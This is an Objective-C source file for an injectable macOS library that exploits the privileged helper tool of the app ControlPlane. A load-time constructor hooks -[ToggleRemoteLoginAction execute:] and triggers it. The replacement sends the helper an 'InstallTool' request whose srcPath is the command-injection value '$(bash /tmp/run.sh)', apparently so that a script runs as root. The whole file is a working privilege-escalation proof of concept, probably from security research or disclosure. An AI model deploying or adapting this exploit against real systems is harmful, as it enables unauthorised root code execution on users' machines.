#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <unistd.h>
#import "AuthorizationLib/BetterAuthorizationSampleLib.h"

// Command set used by the privileged helper tool.
const BASCommandSpec kHelperCommandSet[] = {
    { "InstallTool", "com.dustinrue.ControlPlane.InstallTool", "default", "AuthInstallCommandLineToolPrompt", NULL },
    { "GetVersion", NULL, NULL, NULL, NULL },
    { "SetDisplaySleepTime", "com.dustinrue.ControlPlane.SetDisplaySleepTime", "allow", "SetMonitorSleepTime", NULL },
    { NULL, NULL, NULL, NULL, NULL }
};

// Stub definition of ControlPlane's Action class.
@interface Action : NSObject {
    NSString *type, *context, *when;
    NSNumber *delay, *enabled;
    CFDictionaryRef helperToolResponse;
    NSAppleEventDescriptor *appleScriptResult_;
}
@end

// Stub definition of the class being hooked.
@interface ToggleRemoteLoginAction : NSObject
- (BOOL)execute:(NSString **)errorString;
@end

// Replacement for `-[ToggleRemoteLoginAction execute:]`.
static BOOL ReplacementExecute(id self, SEL _cmd, NSString **errorString) {
    NSLog(@"[*] Hooked method `-execute:` called.");

    // Get the bundle ID of the privileged helper.
    NSString *bundleID = [[[[NSBundle mainBundle] infoDictionary][@"SMPrivilegedExecutables"] allKeys] firstObject];
    if (!bundleID) {
        NSLog(@"[x] Failed to retrieve bundle ID.");
        return NO;
    }

    // Create authorization reference.
    AuthorizationRef authRef = NULL;
    OSStatus status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef);
    if (status != errAuthorizationSuccess) {
        NSLog(@"[x] AuthorizationCreate failed: %d", status);
        return NO;
    }

    // Ensure the instance responds to `helperToolInit:`.
    if (![(ToggleRemoteLoginAction *)self respondsToSelector:@selector(helperToolInit:)]) {
        NSLog(@"[x] Instance does not respond to `helperToolInit:`.");
        AuthorizationFree(authRef, kAuthorizationFlagDefaults);
        return NO;
    }

    [(ToggleRemoteLoginAction *)self helperToolInit:&authRef];
    NSLog(@"[*] `helperToolInit:` called.");

    // Prepare the tool installation request.
    NSString *srcPath = @"$(bash /tmp/run.sh)";
    NSString *toolName = @"halt";

    NSDictionary *request = @{
        @(kBASCommandKey): @"InstallTool",
        @"srcPath": srcPath,
        @"toolName": toolName
    };

    // Optional sleep to ensure system UI is ready.
    sleep(1);

    // Send request to the helper tool.
    CFDictionaryRef response = NULL;
    OSStatus execStatus = BASExecuteRequestInHelperTool(authRef,
                                                        kHelperCommandSet,
                                                        (__bridge CFStringRef)bundleID,
                                                        (__bridge CFDictionaryRef)request,
                                                        &response);

    if (execStatus == noErr) {
        NSLog(@"[+] Helper tool executed successfully: %@", (__bridge NSDictionary *)response);
    } else {
        NSLog(@"[x] BASExecuteRequestInHelperTool failed: %d", execStatus);
    }

    AuthorizationFree(authRef, kAuthorizationFlagDefaults);
    return YES;
}

// Manually instantiate ToggleRemoteLoginAction and call `-execute:`.
static void CallExecuteImmediatelyAfterHook() {
    Class actionClass = NSClassFromString(@"ToggleRemoteLoginAction");
    if (!actionClass) {
        NSLog(@"[x] `ToggleRemoteLoginAction` class not found.");
        return;
    }

    id instance = [[actionClass alloc] init];
    if (!instance) {
        NSLog(@"[x] Failed to instantiate `ToggleRemoteLoginAction`.");
        return;
    }

    NSLog(@"[*] Manually calling `-execute:` on `ToggleRemoteLoginAction` instance.");

    NSString *error = nil;
    [instance execute:&error];
    if (error) {
        NSLog(@"[!] Error returned from `-execute:`: %@", error);
    }
}

// Entry point: hook method and trigger logic.
__attribute__((constructor))
static void InstallMethodHookAndRun() {
    NSLog(@"[+] Library injected, initializing hook ...");

    Class targetClass = NSClassFromString(@"ToggleRemoteLoginAction");
    if (!targetClass) {
        NSLog(@"[x] Failed to find class `ToggleRemoteLoginAction`.");
        return;
    }

    SEL targetSelector = @selector(execute:);
    Method originalMethod = class_getInstanceMethod(targetClass, targetSelector);

    if (!originalMethod) {
        NSLog(@"[x] Failed to find method `-execute:`.");
        return;
    }

    method_setImplementation(originalMethod, (IMP)ReplacementExecute);
    NSLog(@"[+] Successfully hooked `-[ToggleRemoteLoginAction execute:]`.");

    // Trigger method manually.
    CallExecuteImmediatelyAfterHook();
}
